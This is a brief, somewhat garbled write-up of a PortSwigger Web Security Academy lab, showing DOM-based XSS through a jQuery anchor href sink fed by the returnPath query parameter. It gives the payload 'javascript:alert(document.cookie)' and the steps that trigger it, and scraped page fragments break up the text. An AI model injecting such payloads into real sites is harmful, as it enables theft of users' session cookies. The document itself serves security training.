

Lab: DOM XSS in jQuery anchor href attribute sink using location.search source

On the Submit feedback page, change the query parameter `returnPath` to `/` followed by a random alphanumeric string.

Return Path Location

```
ed.web-security-academy.net/feedback?returnPath=/  
1234
```

WebSecurity | DOM XSS in jQuery and
location.search source

```
et/feedback?returnPath=/1234
```

DOM XSS in jQuery anchor

Right-click and inspect the element, and observe that your random string has been placed inside an a `href` attribute.

```
!DOCTYPE  
[whitespace]  
<a id="backLink" href="/sw1m">Back</a>  
</div>  
<script>...</script>  
</form>
```

Change `returnPath` to:

`javascript:alert(document.cookie)`

```
edback?returnPath=javascript:alert(document.cookie)
```

Labs THM Slack Python Course SysInternals

Hit enter and click "back".

Congratulations, you solved the lab!